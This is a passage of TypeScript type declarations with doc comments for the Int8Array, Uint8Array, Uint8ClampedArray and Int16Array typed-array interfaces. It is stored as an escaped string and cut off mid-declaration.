function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int8Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Int8Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int8Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int8Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\ninterface Int8ArrayConstructor {\\n    readonly prototype: Int8Array;\\n    new(length: number): Int8Array;\\n    new(array: ArrayLike<number>): Int8Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int8Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int8Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int8Array;\\n\\n\\n}\\ndeclare const Int8Array: Int8ArrayConstructor;\\n\\n/**\\n  * A typed array of 8-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint8Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint8Array) => any, thisArg?: any): Uint8Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint8Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint8Array) => number, thisArg?: any): Uint8Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint8Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint8Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint8Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint8Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint8ArrayConstructor {\\n    readonly prototype: Uint8Array;\\n    new(length: number): Uint8Array;\\n    new(array: ArrayLike<number>): Uint8Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint8Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint8Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint8Array;\\n\\n}\\ndeclare const Uint8Array: Uint8ArrayConstructor;\\n\\n/**\\n  * A typed array of 8-bit unsigned integer (clamped) values. The contents are initialized to 0.\\n  * If the requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint8ClampedArray {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => any, thisArg?: any): Uint8ClampedArray;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint8ClampedArray) => number, thisArg?: any): Uint8ClampedArray;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint8ClampedArray;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint8ClampedArray;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint8ClampedArray view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint8ClampedArray;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint8ClampedArrayConstructor {\\n    readonly prototype: Uint8ClampedArray;\\n    new(length: number): Uint8ClampedArray;\\n    new(array: ArrayLike<number>): Uint8ClampedArray;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint8ClampedArray;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint8ClampedArray;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint8ClampedArray;\\n}\\ndeclare const Uint8ClampedArray: Uint8ClampedArrayConstructor;\\n\\n/**\\n  * A typed array of 16-bit signed integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int16Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (this: void, value: number, index: number, array: Int16Array) => any, thisArg?: any): Int16Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int16Array) => void, thisArg?: any): void;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Int16Array) => number, thisArg?: any): Int16Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int16Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): 